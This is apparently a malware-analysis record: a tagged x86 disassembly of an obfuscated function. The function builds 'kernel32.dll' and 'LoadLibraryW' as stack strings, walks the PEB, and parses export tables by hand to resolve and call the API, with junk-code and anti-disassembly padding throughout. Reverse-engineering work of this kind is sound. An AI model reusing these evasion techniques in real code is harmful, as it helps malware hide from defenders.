Function at 0x419e2a
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
sar byte [ebx], 0x38
add dword [eax], eax
pop eax
mov edx, dword fs:[0x18]
mov dword [ebp - 0x19a4], edx
mov eax, dword [ebp - 0x19a4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x19a8], ecx
mov edx, dword [ebp - 0x19a8]
mov dword [ebp - 0x15d8], edx
push esi
xor esi, 0x9296
pop esi
push esi
push esi
add esp, 4
or esi, 0x9f12
pop esi
push edx
push eax
add esp, 4
and edx, 0x20d2
add edx, 0x487d
sub edx, 0x14786
or edx, 0x149e2
pop edx
cmp dword [ebp - 0x15d8], 0
jne 0x419a85
mov dword [ebp - 0x31c], 0
jmp 0x419d41
mov eax, dword [ebp - 0x15d8]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc98], edx
push ecx
push ebx
add esp, 4
and ecx, 0x59bf
pop ecx
push eax
or eax, 0xaca2
pop eax
push edx
push eax
add esp, 4
and edx, 0xd4c1
or edx, 0x97d5
xor edx, 0x6e66
outsb dx, byte [esi]
add byte [eax], al
xor edx, 0xcd33
pop edx
cmp dword [ebp - 0xc98], 0
jne 0x419ae1
mov dword [ebp - 0x31c], 0
jmp 0x419d41
mov eax, dword [ebp - 0xc98]
mov dword [ebp - 0x504], eax
push edi
xor edi, 0x7dad
add edi, 0x8aa2
xor edi, 0x80b4
pop edi
push edi
push ebx
add esp, 4
call 0x419b15
add byte [eax + 0x3b], cl
dec edx
inc esi
dec eax
inc ecx
xor edi, dword [0x4c4834a]
or edi, 0xdb67
pop edi
lea ecx, [ebp - 0x1738]
mov dword [ebp - 0xc94], ecx
mov edx, dword [ebp - 0x504]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc90], eax
xor ecx, ecx
mov word [ebp - 0x210], cx
xor edx, edx
mov word [ebp - 0x10c], dx
push esi
push edi
add esp, 4
sub esi, 0x18245
sub esi, 0x155bd
add esi, 0x7df8
pop esi
push ecx
or ecx, 0x1315c
pop ecx
push ecx
push esi
add esp, 4
xor ecx, 0x13041
or ecx, 0x14090
pop ecx
mov eax, dword [ebp - 0xc90]
mov cx, word [eax]
mov word [ebp - 0x1032], cx
mov edx, dword [ebp - 0xc90]
add edx, 2
mov dword [ebp - 0xc90], edx
mov ax, word [ebp - 0x1032]
mov word [ebp - 0x210], ax
mov ecx, dword [ebp - 0xc94]
mov dx, word [ecx]
mov word [ebp - 0x1034], dx
mov eax, dword [ebp - 0xc94]
add eax, 2
mov dword [ebp - 0xc94], eax
mov cx, word [ebp - 0x1034]
mov word [ebp - 0x10c], cx
push edx
jmp 0x419bdf
and edx, 0x71e
sub edx, 0xa095
pop edx
push ecx
push ecx
add esp, 4
jmp 0x419bf6
call 0x419c06
add byte [esi + 0x46], cl
cmp eax, 0x39323732
dec ebx
cmp eax, 0x4c48345
pop ecx
movzx edx, word [ebp - 0x10c]
test edx, edx
jne 0x419c2d
movzx eax, word [ebp - 0x210]
movzx ecx, word [ebp - 0x10c]
sub eax, ecx
mov dword [ebp - 0x15e0], eax
jmp 0x419c90
movzx edx, word [ebp - 0x210]
movzx eax, word [ebp - 0x10c]
cmp edx, eax
je 0x419b4c
movzx ecx, word [ebp - 0x210]
xor ecx, 0x20
movzx edx, word [ebp - 0x10c]
cmp ecx, edx
je 0x419b4c
movzx eax, word [ebp - 0x210]
movzx ecx, word [ebp - 0x10c]
cmp eax, ecx
jge 0x419c7a
mov dword [ebp - 0x15dc], 0xffffffff
jmp 0x419c84
mov dword [ebp - 0x15dc], 1
mov edx, dword [ebp - 0x15dc]
mov dword [ebp - 0x15e0], edx
cmp dword [ebp - 0x15e0], 0
jne 0x419cd9
push edi
call 0x419ca8
add byte [edi + 0x3c], cl
dec ebx
dec eax
dec edx
aas
dec ebp
aaa
add esp, 4
jmp 0x419cb2
call 0x419cbf
add byte [esi + 0x39], al
xor al, 0x40
aas
dec ebp
aas
add esp, 4
pop edi
push esi
add esi, 0x4bec
pop esi
mov eax, dword [ebp - 0x504]
mov dword [ebp - 0x31c], eax
jmp 0x419d41
push eax
xor eax, 0x2aeb
jmp 0x419ce8
pop eax
push edx
and edx, 0x64cb
pop edx
push ecx
sub ecx, 0x10e20
or ecx, 0x518c
pop ecx
push edi
push esi
add esp, 4
sub edi, 0x17401
pop edi
mov ecx, dword [ebp - 0x504]
mov edx, dword [ecx]
mov dword [ebp - 0x504], edx
mov eax, dword [ebp - 0x504]
cmp eax, dword [ebp - 0xc98]
je 0x419d37
mov ecx, dword [ebp - 0x504]
cmp dword [ecx + 0x30], 0
jne 0x419aed
mov dword [ebp - 0x31c], 0
push ecx
add ecx, 0x2303
xor ecx, 0x1a8f
pop ecx
push eax
add eax, 0xc63b
jmp 0x419d5c
pop eax
push esi
and esi, 0x12762
sub esi, 0x12268
pop esi
push ecx
add ecx, 0x4e2
pop ecx
cmp dword [ebp - 0x31c], 0
jne 0x41a68c
mov edx, 0x6b
mov word [ebp - 0x1754], dx
mov eax, 0x65
mov word [ebp - 0x1752], ax
mov ecx, 0x72
mov word [ebp - 0x1750], cx
mov edx, 0x6e
mov word [ebp - 0x174e], dx
mov eax, 0x65
mov word [ebp - 0x174c], ax
mov ecx, 0x6c
mov word [ebp - 0x174a], cx
mov edx, 0x33
mov word [ebp - 0x1748], dx
mov eax, 0x32
mov word [ebp - 0x1746], ax
mov ecx, 0x2e
mov word [ebp - 0x1744], cx
mov edx, 0x64
mov word [ebp - 0x1742], dx
mov eax, 0x6c
mov word [ebp - 0x1740], ax
mov ecx, 0x6c
mov word [ebp - 0x173e], cx
xor edx, edx
mov word [ebp - 0x173c], dx
push esi
push ebx
add esp, 4
call 0x419e2a
add byte [edi], dh
cmp cl, byte [edx + eax*2 + 0x37]
dec eax
add esp, 4
add esi, 0x108e6
pop esi
push edx
push edi
add esp, 4
or edx, 0x813c
jmp 0x419e44
add edx, 0x10ad7
pop edx
mov byte [ebp - 0x894], 0x4c
mov byte [ebp - 0x893], 0x6f
mov byte [ebp - 0x892], 0x61
mov byte [ebp - 0x891], 0x64
mov byte [ebp - 0x890], 0x4c
mov byte [ebp - 0x88f], 0x69
mov byte [ebp - 0x88e], 0x62
mov byte [ebp - 0x88d], 0x72
mov byte [ebp - 0x88c], 0x61
mov byte [ebp - 0x88b], 0x72
mov byte [ebp - 0x88a], 0x79
mov byte [ebp - 0x889], 0x57
mov byte [ebp - 0x888], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x19ac], eax
mov ecx, dword [ebp - 0x19ac]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x19b0], edx
mov eax, dword [ebp - 0x19b0]
mov dword [ebp - 0x15e4], eax
push ecx
sub ecx, 0x803c
or ecx, 0x11eca
call 0x419ee9
add byte [edx], bh
inc ebx
cmp eax, 0x45383735
inc edi
xor eax, dword [ebx - 0xe7efb3c]
jle 0x419efb
add dword [eax], eax
pop ecx
push edx
push eax
add esp, 4
add edx, 0x17ade
jp 0x419efe
add byte [edx - 0x7d], bl
mov ebp, 0xffffea1c
add byte [ebp + 0xf], dh
pop edx
cmp dword [ebp - 0x15e4], 0
jne 0x419f17
mov dword [ebp - 0x750], 0
jmp 0x41a1d3
mov ecx, dword [ebp - 0x15e4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xca4], eax
push edx
xor edx, 0x753e
xor edx, 0x15404
add edx, 0x180ff
pop edx
push ebx
push ecx
add esp, 4
or ebx, 0x17384
and ebx, 0x17fca
or ebx, 0xf77b
and ebx, 0xb501
pop ebx
cmp dword [ebp - 0xca4], 0
jne 0x419f73
mov dword [ebp - 0x750], 0
jmp 0x41a1d3
mov ecx, dword [ebp - 0xca4]
mov dword [ebp - 0x508], ecx
push edi
push eax
add esp, 4
or edi, 0x11cf
pop edi
push ecx
sub ecx, 0x10664
sub ecx, 0xb118
add ecx, 0xb480
pop ecx
push ebx
push esi
add esp, 4
sub ebx, 0xf236
sub ebx, 0x59ae
pop ebx
lea edx, [ebp - 0x1754]
mov dword [ebp - 0xca0], edx
mov eax, dword [ebp - 0x508]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc9c], ecx
xor edx, edx
mov word [ebp - 0x214], dx
xor eax, eax
mov word [ebp - 0x110], ax
push esi
and esi, 0x643e
add esi, 0xba01
pop esi
push esi
push eax
add esp, 4
sub esi, 0x8d05
sub esi, 0xf048
xor esi, 0x16d9
pop esi
push ebx
push eax
add esp, 4
or ebx, 0x112cb
pop ebx
mov ecx, dword [ebp - 0xc9c]
mov dx, word [ecx]
mov word [ebp - 0x1036], dx
mov eax, dword [ebp - 0xc9c]
add eax, 2
mov dword [ebp - 0xc9c], eax
mov cx, word [ebp - 0x1036]
mov word [ebp - 0x214], cx
mov edx, dword [ebp - 0xca0]
mov ax, word [edx]
mov word [ebp - 0x1038], ax
mov ecx, dword [ebp - 0xca0]
add ecx, 2
mov dword [ebp - 0xca0], ecx
mov dx, word [ebp - 0x1038]
mov word [ebp - 0x110], dx
push eax
add eax, 0x135b4
pop eax
push ebx
push esi
add esp, 4
sub ebx, 0xa566
call 0x41a08a
add byte [edi + 0x35], cl
inc ebp
aas
dec esi
cmp eax, 0x4c48346
pop ebx
push edi
xor edi, 0x1131e
or edi, 0x13b6c
pop edi
movzx eax, word [ebp - 0x110]
test eax, eax
jne 0x41a0bf
movzx ecx, word [ebp - 0x214]
movzx edx, word [ebp - 0x110]
sub ecx, edx
mov dword [ebp - 0x15ec], ecx
jmp 0x41a122
movzx eax, word [ebp - 0x214]
movzx ecx, word [ebp - 0x110]
cmp eax, ecx
je 0x419fde
movzx edx, word [ebp - 0x214]
xor edx, 0x20
movzx eax, word [ebp - 0x110]
cmp edx, eax
je 0x419fde
movzx ecx, word [ebp - 0x214]
movzx edx, word [ebp - 0x110]
cmp ecx, edx
jge 0x41a10c
mov dword [ebp - 0x15e8], 0xffffffff
jmp 0x41a116
mov dword [ebp - 0x15e8], 1
mov eax, dword [ebp - 0x15e8]
mov dword [ebp - 0x15ec], eax
cmp dword [ebp - 0x15ec], 0
jne 0x41a16b
push esi
call 0x41a13a
add byte [esi + 0x47], cl
xor bh, byte [edx]
cmp al, 0x37
dec edi
inc ecx
add esp, 4
and esi, 0x13faf
add esi, 0x11b96
xor esi, 0x182e7
pop esi
push edi
jmp 0x41a156
sub edi, 0x1135c
pop edi
mov ecx, dword [ebp - 0x508]
mov dword [ebp - 0x750], ecx
jmp 0x41a1d3
push ecx
sub ecx, 0x13cb8
pop ecx
push eax
push ecx
add esp, 4
or eax, 0xfbbc
pop eax
push ebx
or ebx, 0x135ee
or ebx, 0xd1e1
call 0x41a199
add byte [eax + 0x32], al
dec eax
xor al, 0x4e
inc ebp
aas
add esp, 4
pop ebx
mov edx, dword [ebp - 0x508]
mov eax, dword [edx]
mov dword [ebp - 0x508], eax
mov ecx, dword [ebp - 0x508]
cmp ecx, dword [ebp - 0xca4]
je 0x41a1c9
mov edx, dword [ebp - 0x508]
cmp dword [edx + 0x30], 0
jne 0x419f7f
mov dword [ebp - 0x750], 0
push esi
sub esi, 0x1708f
sub esi, 0x14b22
or esi, 0x49d1
pop esi
push edx
jmp 0x41a1f1
call 0x41a201
add byte [0x424f3e3a], bh
dec ecx
dec ecx
aas
xor al, 0x3b
add esp, 4
pop edx
cmp dword [ebp - 0x750], 0
jne 0x41a24f
push eax
call 0x41a21f
add byte [edi + 0x41], al
xor eax, 0x4e394b47
xor eax, 0xc483343a
add al, 0x81
sar byte [eax - 0x17ffffe4], 8
add byte [eax], al
add byte [eax], al
xor eax, 0x3d41364d
cmp eax, 0x4c48350
jmp 0x41a23f
pop eax
mov dword [ebp - 0x79c], 0
jmp 0x41ad76
push eax
or eax, 0xfeda
sub eax, 0x4d08
or eax, 0x1269d
pop eax
push edx
push ecx
add esp, 4
call 0x41a277
add byte [esi], dh
inc eax
inc ecx
dec esi
push eax
aaa
inc ebx
xor eax, 0x4c4833e
or edx, 0x12bc3
pop edx
mov eax, dword [ebp - 0x750]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x320], ecx
mov dword [ebp - 0x760], 0
mov edx, dword [ebp - 0x320]
mov dword [ebp - 0x15f0], edx
cmp dword [ebp - 0x15f0], 0
jne 0x41a2c0
mov eax, dword [ebp - 0x760]
mov dword [ebp - 0x3f4], eax
jmp 0x41a5b1
mov ecx, dword [ebp - 0x15f0]
mov edx, dword [ebp - 0x320]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x15f4], edx
jne 0x41a2e8
mov eax, dword [ebp - 0x760]
mov dword [ebp - 0x3f4], eax
jmp 0x41a5b1
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x15f4]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x15f8], ecx
cmp dword [ebp - 0x15f8], 0
jne 0x41a31a
mov edx, dword [ebp - 0x760]
mov dword [ebp - 0x3f4], edx
jmp 0x41a5b1
mov eax, dword [ebp - 0x320]
add eax, dword [ebp - 0x15f8]
mov dword [ebp - 0x754], eax
jne 0x41a33f
mov ecx, dword [ebp - 0x760]
mov dword [ebp - 0x3f4], ecx
jmp 0x41a5b1
mov edx, dword [ebp - 0x754]
mov eax, dword [ebp - 0x320]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x19b4], eax
mov ecx, dword [ebp - 0x754]
mov edx, dword [ebp - 0x320]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x19b8], edx
mov eax, dword [ebp - 0x754]
mov ecx, dword [ebp - 0x320]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x19bc], ecx
mov dword [ebp - 0x758], 0
jmp 0x41a399
mov edx, dword [ebp - 0x758]
add edx, 1
mov dword [ebp - 0x758], edx
mov eax, dword [ebp - 0x754]
mov ecx, dword [ebp - 0x758]
cmp ecx, dword [eax + 0x18]
jae 0x41a5a5
mov edx, dword [ebp - 0x758]
mov eax, dword [ebp - 0x19b4]
mov ecx, dword [ebp - 0x320]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x75c], ecx
mov edx, dword [ebp - 0x758]
mov eax, dword [ebp - 0x19b8]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x19bc]
mov eax, dword [ebp - 0x320]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x19c0], eax
mov dword [ebp - 0x198], 0
jmp 0x41a409
mov ecx, dword [ebp - 0x198]
add ecx, 1
mov dword [ebp - 0x198], ecx
mov edx, dword [ebp - 0x75c]
add edx, dword [ebp - 0x198]
movsx eax, byte [edx]
test eax, eax
je 0x41a4bb
mov ecx, dword [ebp - 0x198]
movsx edx, byte [ebp + ecx - 0x894]
test edx, edx
je 0x41a4bb
push edi
push edi
add esp, 4
add edi, 0xa8cf
add edi, 0x148b6
sub edi, 0x1531d
sub edi, 0x66d1
pop edi
push ecx
add ecx, 0x13944
add ecx, 0x1797e
and ecx, 0x35cc
pop ecx
mov eax, dword [ebp - 0x75c]
add eax, dword [ebp - 0x198]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x198]
movsx eax, byte [ebp + edx - 0x894]
cmp ecx, eax
je 0x41a4ad
mov ecx, dword [ebp - 0x75c]
add ecx, dword [ebp - 0x198]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x198]
movsx ecx, byte [ebp + eax - 0x894]
cmp edx, ecx
jne 0x41a4b4
jmp 0x41a3fa
jmp 0x41a4bb
push edi
push esi
add esp, 4
xor edi, 0xfcf7
pop edi
push eax
sub eax, 0x9b3e
xor eax, 0x20d8
call 0x41a4e1
add byte [ebx + 0x39], al
xor ecx, dword [edx + 0x40]
cmp dword [esi - 0x7d], eax
les eax, [eax + ebx*2]
push ecx
and ecx, 0xc7a
pop ecx
mov edx, dword [ebp - 0x75c]
add edx, dword [ebp - 0x198]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x198]
movsx edx, byte [ebp + ecx - 0x894]
cmp eax, edx
jne 0x41a51a
mov dword [ebp - 0xca8], 0
jmp 0x41a589
push edx
and edx, 0x845a
pop edx
push edx
or edx, 0x13771
jmp 0x41a52e
pop edx
push edi
sub edi, 0x153fc
jmp 0x41a53f
pop edi
push esi
push ecx
add esp, 4
add esi, 0x9293
pop esi
mov eax, dword [ebp - 0x75c]
add eax, dword [ebp - 0x198]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x198]
movsx eax, byte [ebp + edx - 0x894]
or eax, 0x20
cmp ecx, eax
jge 0x41a57f
mov dword [ebp - 0xca8], 0xffffffff
jmp 0x41a589
mov dword [ebp - 0xca8], 1
cmp dword [ebp - 0xca8], 0
jne 0x41a5a0
mov ecx, dword [ebp - 0x19c0]
mov dword [ebp - 0x3f4], ecx
jmp 0x41a5b1
jmp 0x41a38a
mov edx, dword [ebp - 0x760]
mov dword [ebp - 0x3f4], edx
cmp dword [ebp - 0x3f4], 0
je 0x41a68c
push eax
push eax
add esp, 4
add eax, 0x8bb0
add eax, 0x4768
call 0x41a5dc
add byte [edi + esi], bh
dec ecx
dec esi
dec edi
cmp byte [eax], bh
add esp, 4
jmp 0x41a5e7
pop eax
push edx
or edx, 0xdc00
pop edx
mov eax, dword [ebp - 0x3f4]
mov dword [ebp - 0x19c4], eax
push eax
push eax
add esp, 4
or eax, 0x12079
xor eax, 0xf9c
xor eax, 0xee2e
sub eax, 0x5586
pop eax
push edx
push eax
add esp, 4
jmp 0x41a627
and edx, 0x5f2a
pop edx
mov ecx, dword [ebp - 0x19c4]
mov dword [ebp - 0x19c8], ecx
lea edx, [ebp - 0x1738]
push edx
call dword [ebp - 0x19c8]
test eax, eax
jne 0x41a68c
push edi
push esi
add esp, 4
xor edi, 0x8d8f
sub edi, 0x23ef
add edi, 0x4ea5
pop edi
push edx
or edx, 0x17298
and edx, 0x82ca
pop edx
push eax
push ebx
add esp, 4
sub eax, 0xd085
pop eax
mov dword [ebp - 0x79c], 0
jmp 0x41ad76
push ebx
push eax
add esp, 4
xor ebx, 0xff16
add ebx, 0xdd71
call 0x41a6ac
add byte [ecx + eax*2 + 0x32], al
inc ebx
cmp al, byte [ebx + 0x41]
dec ebx
inc edi
add esp, 4
and ebx, 0x12ecf
pop ebx
push eax
and eax, 0xe0c1
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x19cc], eax
mov ecx, dword [ebp - 0x19cc]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x19d0], edx
mov eax, dword [ebp - 0x19d0]
mov dword [ebp - 0x15fc], eax
push eax
call 0x41a6f6
add byte [edx], bh
xor al, byte ss:[edi + 0x47]
inc eax
aaa
dec ebp
dec esp
inc eax
add esp, 4
xor eax, 0xd3ba
add eax, 0x4cfb
call 0x41a713
add byte [ebx], dh
cmp dword [ebx], edi
cmp byte ss:[0xc4833f4b], dh
add al, 0x58
cmp dword [ebp - 0x15fc], 0
jne 0x41a72f
mov dword [ebp - 0x31c], 0
jmp 0x41a9d6
mov ecx, dword [ebp - 0x15fc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcb4], eax
push eax
push eax
add esp, 4
add eax, 0x8877
and eax, 0xbafe
add eax, 0xc7ac
pop eax
push ecx
sub ecx, 0xda64
xor ecx, 0x1dfc
and ecx, 0x14312
add ecx, 0x13f31
pop ecx
cmp dword [ebp - 0xcb4], 0
jne 0x41a78b
mov dword [ebp - 0x31c], 0
jmp 0x41a9d6
mov ecx, dword [ebp - 0xcb4]
mov dword [ebp - 0x50c], ecx
push ecx
push esi
add esp, 4
and ecx, 0x10a
jmp 0x41a7a9
or ecx, 0x3147
pop ecx
push ecx
add ecx, 0xde81
pop ecx
push ecx
jmp 0x41a7c2
and ecx, 0x2159
pop ecx
lea edx, [ebp - 0x1738]
mov dword [ebp - 0xcb0], edx
mov eax, dword [ebp - 0x50c]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xcac], ecx
xor edx, edx
mov word [ebp - 0x218], dx
xor eax, eax
mov word [ebp - 0x34], ax
push ecx
push ebx
add esp, 4
call 0x41a807
add byte [edx + 0x48], al
inc esi
inc ebx
inc esp
inc ecx
aas
dec eax
add esp, 4
xor ecx, 0x10f28
pop ecx
push edx
push ebx
add esp, 4
sub edx, 0x181d6
pop edx
push edx
and edx, 0x6072
pop edx
mov ecx, dword [ebp - 0xcac]
mov dx, word [ecx]
mov word [ebp - 0x103a], dx
mov eax, dword [ebp - 0xcac]
add eax, 2
mov dword [ebp - 0xcac], eax
mov cx, word [ebp - 0x103a]
mov word [ebp - 0x218], cx
mov edx, dword [ebp - 0xcb0]
mov ax, word [edx]
mov word [ebp - 0x103c], ax
mov ecx, dword [ebp - 0xcb0]
add ecx, 2
mov dword [ebp - 0xcb0], ecx
mov dx, word [ebp - 0x103c]
mov word [ebp - 0x34], dx
push ebx
add ebx, 0x16c22
add ebx, 0x4bd0
and ebx, 0xe33e
pop ebx
push edi
push ecx
add esp, 4
sub edi, 0x17a39
and edi, 0xa9d7
add edi, 0x13859
or edi, 0x14f43
pop edi
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x41a8cb
movzx ecx, word [ebp - 0x218]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x1604], ecx
jmp 0x41a925
movzx eax, word [ebp - 0x218]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x41a7f3
movzx edx, word [ebp - 0x218]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x41a7f3
movzx ecx, word [ebp - 0x218]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x41a90f
mov dword [ebp - 0x1600], 0xffffffff
jmp 0x41a919
mov dword [ebp - 0x1600], 1
mov eax, dword [ebp - 0x1600]
mov dword [ebp - 0x1604], eax
cmp dword [ebp - 0x1604], 0
jne 0x41a96e
push esi
push edx
add esp, 4
sub esi, 0x301d
add esi, 0x5974
add esi, 0x618
add esi, 0x16285
pop esi
push ebx
push ecx
add esp, 4
jmp 0x41a958
jmp 0x41a95f
pop ebx
mov ecx, dword [ebp - 0x50c]
mov dword [ebp - 0x31c], ecx
jmp 0x41a9d6
push esi
jmp 0x41a977
jmp 0x41a97f
sub esi, 0xc1e1
and esi, 0x3105
pop esi
push esi
add esi, 0x14f28
xor esi, 0x18338
or esi, 0x733a
pop esi
mov edx, dword [ebp - 0x50c]
mov eax, dword [edx]
mov dword [ebp - 0x50c], eax
mov ecx, dword [ebp - 0x50c]
cmp ecx, dword [ebp - 0xcb4]
je 0x41a9cc
mov edx, dword [ebp - 0x50c]
cmp dword [edx + 0x30], 0
jne 0x41a797
mov dword [ebp - 0x31c], 0
push ebx
push eax
add esp, 4
or ebx, 0x8502
or ebx, 0x13ed5
and ebx, 0x183d4
xor ebx, 0x3282
pop ebx
push esi
xor esi, 0x2f35
or esi, 0x1796f
xor esi, 0x1782a
pop esi
mov eax, dword [ebp - 0x31c]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x324], ecx
push edx
add edx, 0xa3b8
pop edx
push edi
push eax
add esp, 4
or edi, 0x5c11
and edi, 0x349b
or edi, 0x164bc
call 0x41aa45
add byte [eax + 0x3e], cl
xor al, 0x4c
cmp eax, 0x83454832
les eax, [edi + ebx*2]
mov dword [ebp - 0x770], 0
mov edx, dword [ebp - 0x324]
mov dword [ebp - 0x1608], edx
cmp dword [ebp - 0x1608], 0
jne 0x41aa79
mov eax, dword [ebp - 0x770]
mov dword [ebp - 0x510], eax
jmp 0x41ad6a
mov ecx, dword [ebp - 0x1608]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x160c], edx
jne 0x41aaa1
mov eax, dword [ebp - 0x770]
mov dword [ebp - 0x510], eax
jmp 0x41ad6a
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x160c]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1610], ecx
cmp dword [ebp - 0x1610], 0
jne 0x41aad3
mov edx, dword [ebp - 0x770]
mov dword [ebp - 0x510], edx
jmp 0x41ad6a
mov eax, dword [ebp - 0x324]
add eax, dword [ebp - 0x1610]
mov dword [ebp - 0x764], eax
jne 0x41aaf8
mov ecx, dword [ebp - 0x770]
mov dword [ebp - 0x510], ecx
jmp 0x41ad6a
mov edx, dword [ebp - 0x764]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x19d4], eax
mov ecx, dword [ebp - 0x764]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x19d8], edx
mov eax, dword [ebp - 0x764]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x1d60], ecx
mov dword [ebp - 0x768], 0
jmp 0x41ab52